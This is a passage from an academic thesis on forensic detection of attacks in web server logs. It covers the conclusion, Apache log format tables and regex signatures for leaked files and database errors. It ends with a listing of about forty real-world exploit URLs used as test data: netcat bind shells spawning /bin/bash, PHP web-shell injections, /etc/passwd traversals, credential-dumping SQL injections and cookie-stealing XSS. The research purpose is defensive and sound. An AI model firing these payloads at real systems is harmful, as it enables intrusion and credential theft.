kcachegrind/, Dec. 2012
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7. Conclusion

Post-attack forensics are fundamental for web server administrators to reconstruct
process and impact of intrusions – not to blame the attacker, but to understand and
repair the programming errors made within web applications instead of just setting
them back up.

In this work, we have written a full-featured framework for attack detection, quan-
tification and interpretation which will be published as free software in the near
future. We described machine-learning based and statistical as well as DNSBL- and
GeoIP based approaches for attack detection. Our tests have shown that learning
based anomaly detection can lead to better results than traditional, signature-based
approaches – given that enough training data is preset. DNSBL-rankings and
geolocations anomalies however should be used solely for background information,
since they have not proved to be accurate instruments for the identification of attackers.

We proved that quantification of attacks with data found solely within the web log
files is possible. The approach of looking for outliers in the size of responses appears
promising and should be developed and tested further. We implemented procedures
to classify attacks into automated and hand-crafted, which need to be evaluated and
tested with real-world data in the future. Furthermore our software is capable of visual-
izing the incidents in a clearly arranged way by generating table- or map-based reports.

One unsolved problem for web application forensics is the lack of full information,
especially POST data. Apache HTTPD developers should fix this by introducing a
new log format string (e.g. %y) within mod_log_config.
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A. Appendix

The enclosed CD-ROM contains a tarball with the source code of our implementation,
the used input logfiles as well as the test results and additional files required as shown
in the following table.

Folder Description

implementation/ PHP source code, including style sheets and required 3rd party
software: Maxmind GeoLite City 1.11, pChart 2.1, PHPIDS 0.7
and SIMILE Exhibit 3.0

datasets/ test and training datasets used for the evaluation
results/ generated reports in tabular and map-based visualization

Table A.1.: Files and folders attached on CD-ROM
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Format String Description

%a Client IP address and port of the request
%ca Underlying peer IP address and port of the connection
%A Local IP-address
%B Size of response in bytes, excluding HTTP headers
%b Size of response in bytes, excluding HTTP headers in CLF format
%{VARNAME}C The contents of cookie VARNAME in the request
%D The time taken to serve the request, in microseconds
%{VARNAME}e The contents of the environment variable VARNAME
%f Filename
%h Remote hostname or IP address
%H The request protocol
%{VARNAME}i The contents of VARNAME: header line(s) in the request
%k Number of keepalive requests handled on this connection
%l Remote logname (from identd, if supplied)
%L The request log ID from the error log
%m The request method
%{VARNAME}n The contents of note VARNAME from another module
%{VARNAME}o The contents of VARNAME: header line(s) in the reply
%p The canonical port of the server serving the request
%{format}p The canonical or actual port of the server or the client’s actual port
%P The process ID of the child that serviced the request
%formatP The process ID or thread ID of the child that serviced the request
%q The query string
%r First line of request
%R The handler generating the response (if any)
%s Status (original), use %>s for the final status
%t Time the request was received, in standard english format
%{format}t The time, in the form given extended strftime format
%T The time taken to serve the request, in seconds
%u Remote user if the request was authenticated
%U The URL path requested, not including any query string
%v The canonical ServerName of the server serving the request
%V The server name according to the UseCanonicalName setting
%X Connection status when response is completed
%I Bytes received, including request and headers
%O Bytes sent, including headers

Table A.2.: Format strings used by the Apache web server
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Description Signature

UNIX /etc/passwd root:x:0:0:.+:[0-9a-zA-Z]+

Windows boot.ini [boot loader](.*)[operating systems]

Apache access log 0] "GET

Apache error log [error] [client

IIS access log 0, GET,

Shell script #!(.*)bin

C/C++ source #include

Java source import java.

PHP source <? ?php(.*)?>

JSP source <%@(.*)%>

ASP source <%(.*)%>

DSA/RSA private key ---BEGIN (D|R)SA PRIVATE KEY---

MySQL dump - MySQL dump

phpMyAdmin dump phpMyAdmin (My)?SQL(-| )Dump

SQL configuration/logs ADDRESS=(PROTOCOL=

SVN RCS data svn:special svn

web.xml config file <web-app

Environment variables REQUEST_URI= + path in replay mode
Directory listing [iI]ndex [oO]f(.*)">Parent Directory<a>

phpinfo() page <title>phpinfo()<title><meta name=

Apache mod_status <title>Apache Status(.*)Server Version:

ODBC password (Data Source=)(.*)(;Password=|;Pwd=)

PHP error PHP (Notice|Warning|Error)

Java IO exception java.io.FileNotFoundException:

Python IO exception Traceback (most recent call last):

File system path Call to undefined function.*() in

Web root path : failed to open stream:

File inclusion error: Warning(?:<b>)?:s+(?:include)(?:_once)?(

DB connection error (mysql|pgp|sqlite|mssql)_p?(connect|open)(

Access error Syntax error in query expression

ASP / MSSQL error System.Data.OleDb.OleDbException

Coldfusion SQL error [Macromedia][SQLServer JDBC Driver]

Generic SQL error (INSERT INTO|SELECT|UPDATE) .*?( (FROM|SET)

Informix error Dynamic Page Generation Error:

Java SQL error java.sql.SQLException

Java SQL error Unexpected end of command in statement

MySQL error supplied argument is not a valid MySQL

ORACLE error (PLS|ORA)-[0-9][0-9][0-9][0-9]

PostgreSQL error PostgreSQL query failed:

Table A.4.: Extract of attack quantification signatures for active replay
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Listing A.1: Real-world exploits used in the test dataset

1 # -------------------------

2 # >>> command execution (9)

3 # -------------------------

4

5 # Narcissus Remote Command Execution Vulnerability

6 /narcissus/backend.php?machine=0&action=configure_image&release=|

uname%20-a

7

8 # AjaXplorer checkInstall.php Remote Command Execution

9 /plugins/access.ssh/checkInstall.php?destServer||id

10

11 # Invision Power Board <= 3.3.4 ’unserialize()’ PHP Code Execution

12 /index.php?<?error_reporting(0);print(___);passthru(base64_decode(

$_SERVER[HTTP_CMD]));die;?>

13

14 # ViArt Shop Enterprise 4.1 Arbitrary Command Execution

15 /payments/sips_response.php?DATA=..%2F..%2F..%2F..%2F..%2Fpwd

16

17 # phptax 0.8 <= Remote Code Execution Vulnerability

18 /phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e

%20/bin/bash;&pdf=make

19

20 # Tiki Wiki CMS Groupware <= 8.3 PHP Code Execution

21 /tiki-print_multi_pages.php?printpages=O%3A29%3A%22

Zend_Pdf_ElementFactory_Proxy%22%3A1%3A%7Bs%3A39%3A%22%2500

Zend_Pdf_ElementFactory_Proxy%2500_factory%22%3BO%3A51%3A%22

Zend_Search_Lucene_Index_SegmentWriter_StreamWriter%22%3A5%3A

%7Bs%3A12%3A%22%2500%2A%2500_docCount%22%3Bi%3A1%3Bs%3A8%3A

%22%2500%2A%2500_name%22%3Bs%3A3%3A%22foo%22%3Bs%3A13%3A

%22%2500%2A%2500_directory%22%3BO%3A47%3A%22

Zend_Search_Lucene_Storage_Directory_Filesystem%22%3A1%3A%7Bs

%3A11%3A%22%2500%2A%2500_dirPath%22%3Bs%3A11%3A%22%2FFOOsh.php

%2500%22%3B%7Ds%3A10%3A%22%2500%2A%2500_fields%22%3Ba%3A1%3A%7

Bi%3A0%3BO%3A34%3A%22Zend_Search_Lucene_Index_FieldInfo%22%3A1

%3A%7Bs%3A4%3A%22name%22%3Bs%3A90%3A%22%3C%3Fphp+

error_reporting%280%29%3B+print%28___%29%3B+passthru%28

base64_decode%28%24_SERVER%5BHTTP_CMD%5D%29%29%3B+die%3B+%3F%3

E%22%3B%7D%7Ds%3A9%3A%22%2500%2A%2500_files%22%3BO%3A8%3A%22

stdClass%22%3A0%3A%7B%7D%7D%7D

22

23 # Basilic 1.5.14 diff.php Arbitrary Command Execution

24 /basilic/Config/diff.php?file=%26nc%20-ltp4444%20-e%20/bin/bash&

new=1&old=2

25

26 # Breeze CMS 1.0 => Remote Code Execution Vulnerability

27 /libs/Ice/Database/adodb_lite/adodb-perf-module.inc.php?

last_module=t{};%20class%20t{};passthru(ls);//

28

29 # Social Groupie (create_album.php) Upload/LFI Vulnerability

30 /Member_images/shell.jpg

31
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32 # ----------------------------

33 # >>> local file inclusion (9)

34 # ----------------------------

35

36 # BabyGekko 1.2.2e LFI Vulnerability

37 /index.php?app=../../../../../../../tmp/

38

39 # Joomla Component com_p2dxt Local File Include Vulnerability

40 /index.php?option=com_p2dxt&controller=../../../../etc/passwd%00

41

42 # PRADO PHP Framework 3.2.0 Arbitrary File Read Vulnerability

43 /tests/test_tools/functional_tests.php?sr=../../../../../../

windows/win.ini

44

45 # WeBid <= 1.0.5 Directory Traversal Vulnerability

46 /path/loader.php?js=../../../../../../../../../../etc/passwd%00.js

;

47

48 Bitweaver 2.8.1 LFI Vulnerability

49 /bitweaver/gmap/view_overlay.php?overlay_type=..%2F..%2F..%2F..%2F

..%2F..%2F..%2F/etc/passwd%00

50

51 # TomatoCart 1.2.0 Alpha 2 Local File Inclusion Vulnerability

52 /json.php?action=3&module

=../../../../../../../../../../../../../../boot.ini%00

53

54 # 2Point Solutions - Multiple Vulnerabilities

55 file.php?id=/../../../../../../..//etc/passwd

%00../../../../../../../

56

57 # Xivo 1.2 Arbitrary File Download Vulnerability

58 /index.php/manage/certificate/?act=export&id=../../../../etc/

asterisk/cel_pgsql.conf

59

60 # TSP 0.1d Multiple File Inclusion Vulnerabilities

61 /tsp/download.php?id

=../../../../../../../../../../../../../../../../etc/passwd%00

62

63 # ----------------------

64 # >>> SQL injection (13)

65 # ----------------------

66

67 # ES CmS 0.1 SQL Injection Vulnerability

68 /server/page.php?id=-1+union+select+1,2,3,group_concat(column_name

),5,6+from+information_schema.columns+where+table_name=char(

table_cod)

69

70 # WordPress - PICA Photo Gallery Automatic SQL Injection

71 /pica-gallery/?aid=-1+union+select+concat(user_login,0x3a,

user_pass,0x3a,user_email),2,3,4+from+wp_users-

72

73
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74 # Free Hosting Manager V2.0 SQL Injection Vulnerability

75 /clients/packages.php?id=-1’+UNION+ALL+SELECT+1,CONCAT(username,

char(58),password)

,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+adminusers

%23

76

77 # friendsinwar FAQ Manager SQL Injection Vulnerability

78 /view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version

%28%29,4,5--

79

80 # LikeItNow Script SQL Injection Vulnerability

81 /like/like.php?id=-1+UNION+SELECT+1,version(),3--

82

83 # Web Colinas Sql Injection Vulnerability

84 /page.php?id=-3/*!20000union*/+/*!20000SelEct*/%201,2,CONCAT_WS(

CHAR(32,58,32),user(),database(),version()),4--

85

86 # dotProject 2.1.6 Cross Site Scripting / SQL Injection

87 /index.php?m=contacts&where=%27%29%20UNION%20SELECT%20version()

,2,3,4,5,6,7,8,9,10,11%20INTO%20OUTFILE%20%27/tmp/file.txt

%27%20--%202

88

89 # Wordpress Plugin plg_novana Sql Injection Vulnerability

90 /wp-content/plugins/plg_novana/novana_detail.php?lightbox[width

]=700&lightbox[height]=400&id=-111+union+select

+1,2,3,4,5,6,7,8,9,group_concat%28user_login,user_pass

%29,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+wp_users--

91

92 SmartCMS SQL Injection Vulnerability

93 /index.php?idx=123+AND+1=2+UNION+ALL+SELECT+version()--

94

95 # Joomla Component com_quiz SQL Injection Vulnerability

96 /index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={

RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0

x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293

c2f7363726970743e,concat(username,0x3D,password)/**/from/**/

jos_users+--+

97

98 # WordPress Cardoza Ajax Search 1.1 SQL Injection Vulnerability

99 /wp-admin/admin-ajax.php/?srch_txt=’or%201=1--%20&action=

the_search_text

100

101 # YCommerce Pro / Reseller SQL Injection Vulnerability

102 /store/index.php?cPath=1 union all select 1,concat_ws(0x3a,

table_schema,table_name,column_name),3,4,5 from

information_schema.columns where table_schema!=0

x696E666F726D6174696F6E5F736368656D61--

103

104

105

106

107
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108 # ------------------

109 # >>> XSS / CSRF (9)

110 # ------------------

111

112 # AionWeb Cross Site Scripting Vulnerability

113 /engine/classes/swfupload/swfupload.swf?movieName=%22]);}catch(e)

{}if(!self.a)self.a=!alert(document.cookie);//

114

115 # MYREphp Vacation Rental Software Cross Site Scripting

Vulnerability

116 /vacation/1_mobile/alert_members.php?action=login&link_idd=%27%20

onmouseover%3dprompt%28900153%29%20bad%3d%27

117

118 # Greenstone Digital Library Cross Site Scripting Vulnerability

119 /cgi-bin/library.cgi?a=status&p=%22%3E%3Cscript%3Ealert%28%22Again

%20Owned%22%29;%3C/script%3E&pr=7&c=AkaStep

120

121 # ClipBucket 2.6 Cross Site Scripting Vulnerability

122 /search_result.php?query=3&type=’%22--%3E%3C/style%3E%3C/script%3E

%3Cscript%3Ealert(0x005B39)%3C/script%3E&submit=Search

123

124 # ATutor 1.2 Cross Site Scripting Vulnerability

125 /file_manager/preview_top.php?pathext=%22%3E%3Cscript%3Ealert%28

document.cookie%29;%3C/script%3E

126

127 # Jara 1.6 Cross Site Scripting Vulnerability

128 /admin/delete_post.php?id=’%22--%3E%3C/style%3E%3C/script%3E%3

Cscript%3Enetsparker(0x0034CE)%3C/script%3E

129

130 # Bitweaver 2.8.1 Cross Site Scripting Vulnerability

131 /bitweaver/?highlight=%2522%253E%253Cscript%253Ealert(’XSS’)%253B

%253C%252Fscript%253E

132

133 # CheckPoint/Sofaware Firewall XSS

134 /pub/ufp.html?url=\"><script>alert(1)</script>&mask=000&swpreview

=1

135

136 # Wordpress WP-FaceThumb Gallery Plugin <= 0.1 Reflected XSS

Vulnerability

137 /?page_id=1&pagination_wp_facethumb=1\"><img/src=x+onerror=alert(

document.cookie)>

68


	Introduction
	Motivation
	General Idea
	Requirements
	Assumptions
	Limitations

	Application
	Contributions
	Outline

	Preprocessing
	Related Work
	Tamper Detection
	Basic Logfile Data
	Client Identification
	Session Identification
	DNSBL Lookups
	GeoIP Information
	Feature Selection
	Feature Standardization

	Detection
	Related Work
	Statistical Outlier Detection
	Attribute Length
	Character Distribution
	A Hybrid Approach

	HMM-based Anomaly Detection
	Hidden Markov Models
	Training Phase
	Testing Phase

	DNSBL Ranking
	A Binary Property

	Geolocation Anomalies
	Local Outlier Factor


	Analysis
	Related Work
	Session Classification
	Man-Machine Distinction

	Attack Quantification
	Response Code Assumptions
	Outlyingness of Size of Responses
	Attack Replay and Signature Matching


	Visualization
	Related Work
	Result Summarization
	Table-based Output
	Map-based Output

	Evaluation
	Lab Tests
	The Dataset
	Attack Detection
	Attack Quantification
	Session Classification

	Field Tests
	The Wild Wild Web

	Performance

	Conclusion
	Appendix
	Files and folders attached on CD-ROM
	Format strings used by the Apache web server
	Features for vulnerability scanner detection
	Attack quantification signatures for active replay
	Real-world exploits used in the test dataset


